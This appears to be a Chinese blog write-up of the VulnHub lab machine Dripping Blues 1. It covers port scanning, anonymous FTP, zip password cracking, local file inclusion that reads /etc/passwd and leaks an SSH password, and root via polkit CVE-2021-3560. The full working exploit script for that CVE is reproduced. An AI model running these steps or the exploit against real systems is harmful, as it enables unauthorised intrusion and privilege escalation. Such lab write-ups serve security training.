DRIPPING BLUES 1

靶机介绍及下载:Dripping Blues: 1 ~ VulnHub

1. 信息收集

1.1. 主机探测

 netdiscover  -r 192.168.159.0/24   

1.jpg
靶机 IP:192.168.159.154

1.2. nmap 扫描

nmap -A 192.168.159.154 -p1-65535

2.jpg

3.jpg

简要分析,靶机开了21,22,80端口,21的 ftp 允许匿名登录,根目录还有个 respectmydrip.zip,22的ssh考虑弱口令,80端口开了web服务,并且扫到个robots.txt,不允许访问/dripisreal.txt和/etc/dripispowerful.html

1.3. Web 信息收集

浏览器访问站点

4.jpg
提示站点被黑了,猜测系统存在 travisscottthugger 用户
与此同时,目录遍历扫到一下结果
5.jpg
根据 robots.txt 访问 dripisreal.txt

6.jpg

说访问Young Thug - Constantly Hating Lyrics | AZLyrics.com页面的歌词,然后找 n 个单词计算MD5便能得到SSH登录的密码,看了下歌词,没思路……

7.jpg

尝试访问/etc/dripispowerful.html但访问不了,猜测可能存在文件包含啥的

2. 渗透攻击

2.1. ftp 登录

使用anonymous账号登录【密码为空】,下载 respectmydrip.zip,解压时发现需要密码,用kali尝试爆破下

fcrackzip -D -p rockyou.txt -u respectmydrip.zip

8.jpg

解压后两个文件,没看懂,secret.zip 还是被加密了,尝试爆破未出来!没思路了换方向。

9.jpg

2.2. 文件包含

由于 /etc/dripispowerful.html 的出现,猜测存在文件包含,测试 http://192.168.159.154/index.php?file=/etc/dripispowerful.html 但没效果,卡住了,,,百度/谷歌后,看到大佬说参数是 drip,即 http://192.168.159.154/index.php?drip=/etc/dripispowerful.html ,哎……

10.jpg

图片看不出来啥信息,翻下源码看有啥用过用的信息,结果发现个密码

11.jpg

读下/etc/passwd 看有哪些用户, http://192.168.159.154/index.php?drip=/etc/passwd 结果如下

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
thugger:x:1001:1001:,,,:/home/thugger:/bin/bash
sshd:x:126:65534::/run/sshd:/usr/sbin/nologin
mysql:x:127:133:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:128:134:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

猜测 thugger 用户对应前面这个密码。

2.3. ssh 登录

由于开了 ssh,尝试用 thugger/imdrippinbiatch 登录,成功登录

12.jpg

当前目录得到了第一个 flag

13.jpg

thugger 用户权限太低,得考虑提权获取root目录下的flag了

2.4. 提权

查看了系统版本信息,没找到提权漏洞【太菜】。
查下看有啥提权命令没

find / -perm -u=s -type f 2>/dev/null

结果

thugger@drippingblues:/$ find / -perm -u=s -type f 2>/dev/null
/snap/core22/858/usr/bin/chfn
/snap/core22/858/usr/bin/chsh
/snap/core22/858/usr/bin/gpasswd
/snap/core22/858/usr/bin/mount
/snap/core22/858/usr/bin/newgrp
/snap/core22/858/usr/bin/passwd
/snap/core22/858/usr/bin/su
/snap/core22/858/usr/bin/sudo
/snap/core22/858/usr/bin/umount
/snap/core22/858/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/858/usr/lib/openssh/ssh-keysign
/snap/snapd/19993/usr/lib/snapd/snap-confine
/snap/core18/2790/bin/mount
/snap/core18/2790/bin/ping
/snap/core18/2790/bin/su
/snap/core18/2790/bin/umount
/snap/core18/2790/usr/bin/chfn
/snap/core18/2790/usr/bin/chsh
/snap/core18/2790/usr/bin/gpasswd
/snap/core18/2790/usr/bin/newgrp
/snap/core18/2790/usr/bin/passwd
/snap/core18/2790/usr/bin/sudo
/snap/core18/2790/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2790/usr/lib/openssh/ssh-keysign
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/pkexec
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/bin/vmware-user-suid-wrapper
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

没看出来,又去看别人的提权操作了,sainet 提到 policykit 存在提权漏洞,先了解下 polkitd

polkit 是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。
Polkit 在系统层级进行权限控制,提供了一个低优先级进程和高优先级进程进行通讯的系统。和 sudo 等程序不同,Polkit 并没有赋予进程完全的 root 权限,而是通过一个集中的策略系统进行更精细的授权。
Polkit 定义出一系列操作,例如运行 GParted, 并将用户按照群组或用户名进行划分,例如 wheel 群组用户。然后定义每个操作是否可以由某些用户执行,执行操作前是否需要一些额外的确认,例如通过输入密码确认用户是不是属于某个群组。

系统进程信息

14.jpg

查找到 Polkit 存在 CVE-2021-3560 的提权漏洞

CVE-2021-3560 是对 polkit 的一种身份验证绕过,它允许非特权用户使用 DBus 调用特权方法,在这个漏洞中我们将调用 accountservice 提供的 2 个特权方法(CreateUser 和 SetPassword),这允许我们创建一个特权用户然后为其设置密码,最后以创建的用户身份登录,然后提升为root。

提权exploit:GitHub - Almorabea/Polkit-exploit: Privilege escalation with polkit - CVE-2021-3560
CVE-2021-3560.py【留个备份】

import os
import sys
import time
import subprocess
import random
import pwd

print ("**************")
print("Exploit: Privilege escalation with polkit - CVE-2021-3560")
print("Exploit code written by Ahmad Almorabea @almorabea")
print("Original exploit author: Kevin Backhouse ")
print("For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/")
print ("**************")
print("[+] Starting the Exploit ")
time.sleep(3)

check = True
counter = 0
while check:
	counter = counter +1
	process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply','/org/freedesktop/Accounts','org.freedesktop.Accounts.CreateUser','string:ahmed','string:"Ahmad Almorabea','int32:1'])
	try:
    		#print('1 - Running in process', process.pid)
		Random = random.uniform(0.006,0.009)
		process.wait(timeout=Random)
		process.kill()
	except subprocess.TimeoutExpired:
    		#print('Timed out - killing', process.pid)
    		process.kill()

	user = subprocess.run(['id', 'ahmed'], stdout=subprocess.PIPE).stdout.decode('utf-8')
	if user.find("uid") != -1:
		print("[+] User Created with the name of ahmed")
		print("[+] Timed out at: "+str(Random))
		check =False
		break
	if counter > 2000:
		print("[-] Couldn't add the user, try again it may work")
		sys.exit(0)


for i in range(200):
	#print(i)
	uid = "/org/freedesktop/Accounts/User"+str(pwd.getpwnam('ahmed').pw_uid)

	#In case you need to put a password un-comment the code below and put your password after string:yourpassword'
	password = "string:"
	#res = subprocess.run(['openssl', 'passwd','-5',password], stdout=subprocess.PIPE).stdout.decode('utf-8')
	#password = f"string:{res.rstrip()}"

	process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply',uid,'org.freedesktop.Accounts.User.SetPassword',password,'string:GoldenEye'])
	try:
    		#print('1 - Running in process', process.pid)
    		Random = random.uniform(0.006,0.009)
    		process.wait(timeout=Random)
    		process.kill()
	except subprocess.TimeoutExpired:
    		#print('Timed out - killing', process.pid)
    		process.kill()

print("[+] Timed out at: " + str(Random))
print("[+] Exploit Completed, Your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root ")

p = subprocess.call("(su ahmed -c 'sudo su')", shell=True)

wget下载总是断掉,还是本地下载 Polkit-exploit - CVE-2021-3560 提权脚本,用 scp 上传靶机

scp Desktop/CVE-2021-3560.py thugger@192.168.159.154:/home/thugger

18.jpg

上传成功,赋予执行权限用 python 执行

19.jpg

20.jpg

提权成功,拿到 root 下的 flag!

posted @   z9m8r8  阅读(27)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示